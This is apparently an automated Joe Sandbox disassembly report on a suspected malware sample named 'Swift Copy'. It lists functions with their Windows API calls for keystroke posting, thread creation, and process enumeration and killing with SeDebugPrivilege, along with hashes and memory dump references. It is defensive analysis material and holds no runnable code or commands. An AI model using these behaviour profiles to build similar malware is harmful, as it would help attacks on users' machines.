Instruction ID: a22c4c591f825f0e08fb7b91729bd6dbe52c3bdcd77882b7c8c8402d33ba12e3
Opcode Fuzzy Hash: e02aab0f1c4202863ca2054fb58fcb83dc7b8a87c7a395583579ca82c6ff1b4b
Instruction Fuzzy Hash: 1031B071210B81AFDB21AFB6DC04A67BBF8FF18300B18551EFA9696610D731E856DB70

Function 00DD25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00DD3A57
Part of subcall function 00DD3A3D: GetCurrentThreadId.KERNEL32 ref: 00DD3A5E
Part of subcall function 00DD3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00DD25B3), ref: 00DD3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00DD25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00DD25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00DD25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00DD25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00DD2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00DD2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00DD260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00DD2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00DD2627

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 7ce1ff546b0a4f37869c96ef36a6e10c79361453a79c1cc77450a0ef6d9d16e7
Instruction ID: 26efbe28141f02a8d94ea044eb9ebe6a6e94486f0e7089930b88ed6ae1e8cd0d
Opcode Fuzzy Hash: 7ce1ff546b0a4f37869c96ef36a6e10c79361453a79c1cc77450a0ef6d9d16e7
Instruction Fuzzy Hash: 4401D830390210BBFB2067699C8AF593F69DB5EB11F200102F354BF1D1C9E354888ABA

Function 00DD1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00DD1449,?,?,00000000), ref: 00DD180C
HeapAlloc.KERNEL32(00000000,?,00DD1449,?,?,00000000), ref: 00DD1813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00DD1449,?,?,00000000), ref: 00DD1828
GetCurrentProcess.KERNEL32(?,00000000,?,00DD1449,?,?,00000000), ref: 00DD1830
DuplicateHandle.KERNEL32(00000000,?,00DD1449,?,?,00000000), ref: 00DD1833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00DD1449,?,?,00000000), ref: 00DD1843
GetCurrentProcess.KERNEL32(00DD1449,00000000,?,00DD1449,?,?,00000000), ref: 00DD184B
DuplicateHandle.KERNEL32(00000000,?,00DD1449,?,?,00000000), ref: 00DD184E
CreateThread.KERNEL32(00000000,00000000,00DD1874,00000000,00000000,00000000), ref: 00DD1868

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 4cfd33aa37426ecd99c8aed4b715249a2bc24a1a1c02457ddc7e75f5227cdb30
Instruction ID: e5dde93b64b4b8e826c2d50c5a4d3c395c883de92d26488f37c4b137419ff282
Opcode Fuzzy Hash: 4cfd33aa37426ecd99c8aed4b715249a2bc24a1a1c02457ddc7e75f5227cdb30
Instruction Fuzzy Hash: FB01BF75241304BFE710AB65DC4DF573B6CEB89B11F104511FA05DB192C6759844CB20

Function 00DFA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00DDD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00DDD501
Part of subcall function 00DDD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00DDD50F
Part of subcall function 00DDD4DC: CloseHandle.KERNEL32(00000000), ref: 00DDD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DFA16D
GetLastError.KERNEL32 ref: 00DFA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DFA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00DFA268
GetLastError.KERNEL32(00000000), ref: 00DFA273
CloseHandle.KERNEL32(00000000), ref: 00DFA2C4

Strings

SeDebugPrivilege, xrefs: 00DFA18F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 4e7838979877d932d34a03a06e3918fb8751e9fc85ae4b9825883e2ca43e7397
Instruction ID: 24706cb32b6dc040b80108544ca64c3751e4e67f3a4dfe9aeb1103c3ee2f24cd
Opcode Fuzzy Hash: 4e7838979877d932d34a03a06e3918fb8751e9fc85ae4b9825883e2ca43e7397
Instruction Fuzzy Hash: AF619E70205242AFD710DF19C494F29BBE1AF44318F1AC48CE56A4B7A3D776ED49CBA2

Function 00E03886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00E03925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00E0393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00E03954
_wcslen.LIBCMT ref: 00E03999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00E039C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00E039F4

Strings

SysListView32, xrefs: 00E038F7

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 0e5de3897c758413cde8cf9c25a0a44393ebb93038dfe050c0b5e27f21b50d7e
Instruction ID: db33d3564f4a366a51c5af9fe667f5e7da966d0bfb33200fe7917e8a0943eb53
Opcode Fuzzy Hash: 0e5de3897c758413cde8cf9c25a0a44393ebb93038dfe050c0b5e27f21b50d7e
Instruction Fuzzy Hash: 0841AF71A00318ABEF219F64CC49BEA7BA9EF48354F101566F958F72C1D7719AC4CBA0

Function 00DDBC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00DDBCFD
IsMenu.USER32(00000000), ref: 00DDBD1D
CreatePopupMenu.USER32 ref: 00DDBD53
GetMenuItemCount.USER32(00F47290), ref: 00DDBDA4
InsertMenuItemW.USER32(00F47290,?,00000001,00000030), ref: 00DDBDCC

Strings

2, xrefs: 00DDBD37
0, xrefs: 00DDBCA8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 2f737f08ae905b53852ed5115a09e83b7550bac50bb261fd960432845d8e30ac
Instruction ID: f0ed79ab7fb9c54dc5a1262ca01ae095afd7e58f72e328e1be7d434367980087
Opcode Fuzzy Hash: 2f737f08ae905b53852ed5115a09e83b7550bac50bb261fd960432845d8e30ac
Instruction Fuzzy Hash: 80519F70600205DBDB10CFA9D884BAEBBF6FF49328F29425BE442A7390E7709945CB71

Function 00DDC874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00DDC913

Strings

question, xrefs: 00DDC8CC
info, xrefs: 00DDC8B4
warning, xrefs: 00DDC8FC
stop, xrefs: 00DDC8E4
blank, xrefs: 00DDC895

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 6072fd61a7c49b4c14cfeeae29b188204318257ac8ab765d6d2b8114eff4ef24
Instruction ID: bd21fa2dcb1a65d56e20707f37d3beb6556ff5784e5efc18ed90c66dfa1cf4be
Opcode Fuzzy Hash: 6072fd61a7c49b4c14cfeeae29b188204318257ac8ab765d6d2b8114eff4ef24
Instruction Fuzzy Hash: 6D113A32699307BBEB019B64DC93CAA279CDF15329F60502BF500B6382E7B1AE01D674

Function 00DDED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00DDED2A
_wcslen.LIBCMT ref: 00DDED3B
_wcslen.LIBCMT ref: 00DDED79
_wcslen.LIBCMT ref: 00DDEDAF
_wcslen.LIBCMT ref: 00DDEDDF
_wcslen.LIBCMT ref: 00DDEDEF
_wcslen.LIBCMT ref: 00DDEE2B
_wcslen.LIBCMT ref: 00DDEE5A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 009eb12e4adeee68fc35b74945adf6dbf872cb354a8bef7bd45ca34180ff0383
Instruction ID: 47c790d4ef57ae735e4fa2d2a1a9b03ad4ddad53d388717a8a5e57993ef35384
Opcode Fuzzy Hash: 009eb12e4adeee68fc35b74945adf6dbf872cb354a8bef7bd45ca34180ff0383
Instruction Fuzzy Hash: 38417C65C102187ACF11EBF4888A9CFB7A9EF45710F508566F518E3222EB34E255C7BA

Function 00D8F8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00DC682C,00000004,00000000,00000000), ref: 00D8F953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,00DC682C,00000004,00000000,00000000), ref: 00DCF3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,00DC682C,00000004,00000000,00000000), ref: 00DCF454

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 61857cc5029bc5b747b6337c8d68ecac14d2f65ff9f59ed3d93a628164f5f276
Instruction ID: fb56c5cba379ca3be7b9d02e3fc738dd526b47ab361c69e703255e80e8845726
Opcode Fuzzy Hash: 61857cc5029bc5b747b6337c8d68ecac14d2f65ff9f59ed3d93a628164f5f276
Instruction Fuzzy Hash: 9141E731618680FED739BB2A8888B6E7B92AB56314F1C453DE0C767560D676E8C4CF31

Function 00E02D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00E02D1B
GetDC.USER32(00000000), ref: 00E02D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E02D2E
ReleaseDC.USER32(00000000,00000000), ref: 00E02D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00E02D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00E02D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00E05A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00E02DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00E02DE1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: b2fdc62913e7351f8ee010933c644cb90d8b060029cd05de1cd8300dddb52bf5
Instruction ID: 42066d96a911067367feec885f1ae3d05e1c15f00c30a1068912b699a3258fa6
Opcode Fuzzy Hash: b2fdc62913e7351f8ee010933c644cb90d8b060029cd05de1cd8300dddb52bf5
Instruction Fuzzy Hash: B1319A72201214BFEB218F51DC8AFEB3BADEF09715F144155FE08AA2D1C6769C85CBA1

Function 00DD5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00DD5637
_memcmp.LIBVCRUNTIME ref: 00DD5659
_memcmp.LIBVCRUNTIME ref: 00DD5671
_memcmp.LIBVCRUNTIME ref: 00DD5684
_memcmp.LIBVCRUNTIME ref: 00DD569E
_memcmp.LIBVCRUNTIME ref: 00DD56B1
_memcmp.LIBVCRUNTIME ref: 00DD56C9
_memcmp.LIBVCRUNTIME ref: 00DD56E4

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 1f5432a89ad283d9a919b9ce78377d6b4cf11d381ffa352e45394cc670b45cb8
Instruction ID: f3b98352978df7c040303ae0184e760d8a57e00e63fb123d1496313e7adc630a
Opcode Fuzzy Hash: 1f5432a89ad283d9a919b9ce78377d6b4cf11d381ffa352e45394cc670b45cb8
Instruction Fuzzy Hash: FD21CC65B44B09B7E7155510AD83FFA736CEF11384F580022FD056AB85F720ED6085B5

Function 00DF4FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00DF502E, 00DF5383
Not an Object type, xrefs: 00DF5007

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: f9067fca75f744dd63cabfb502c4fe0e3d0f4dd2362cf0ae65f91b8f59a040d4
Instruction ID: 284c58e5fdb4974a17b4870942df07dac421e663264eae9b7fc3239cb43d70fe
Opcode Fuzzy Hash: f9067fca75f744dd63cabfb502c4fe0e3d0f4dd2362cf0ae65f91b8f59a040d4
Instruction Fuzzy Hash: 0ED19271A0060AAFDF10CF98D880BBEB7B5BF48344F15C169EA15AB285D771DD45CB60

Function 00DB1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00DB15CE
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00DB1651
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00DB16E4
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00DB16FB

Part of subcall function 00DA3820: RtlAllocateHeap.NTDLL(00000000,?,00E41444,?,00D8FDF5,?,?,00D7A976,00000010,00E41440,00D713FC,?,00D713C6,?,00D71129), ref: 00DA3852

MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00DB1777
__freea.LIBCMT ref: 00DB17A2
__freea.LIBCMT ref: 00DB17AE

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 4f89775878b2dd043965a0ff3f5671fd9e73642c8fb43467c667ad8d2c944fd8
Instruction ID: 7ab1db5b8039d0e7c08b43bb2a7f396544eca64b2f1f4387145ca098d1554233
Opcode Fuzzy Hash: 4f89775878b2dd043965a0ff3f5671fd9e73642c8fb43467c667ad8d2c944fd8
Instruction Fuzzy Hash: 5891A379E10216DADB208E64C8A1AEE7BF5DF49710F984659E803E7141DB25DD44CB70

Function 00DF4523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00DF4648
VariantInit.OLEAUT32(?), ref: 00DF4749
VariantClear.OLEAUT32(?), ref: 00DF4753
VariantClear.OLEAUT32(?), ref: 00DF47B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 00DF45D8, 00DF4706, 00DF47BE
Incorrect Object type in FOR..IN loop, xrefs: 00DF472C

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: e9be2c39c9aa1cc5c7ff130e92ce411de287aa52d10ad7c50202dbb79e513980
Instruction ID: af5a738c8dae89ab6d4da12c27373c5a3afaddcbc20db223617569075b36968b
Opcode Fuzzy Hash: e9be2c39c9aa1cc5c7ff130e92ce411de287aa52d10ad7c50202dbb79e513980
Instruction Fuzzy Hash: DA918B71A00219ABDF20DFA5C888FAFBBB8EF46714F158559F605AB280D7709945CFB0

Function 00DE1187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 00DE125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00DE1284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 00DE12A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00DE12D8
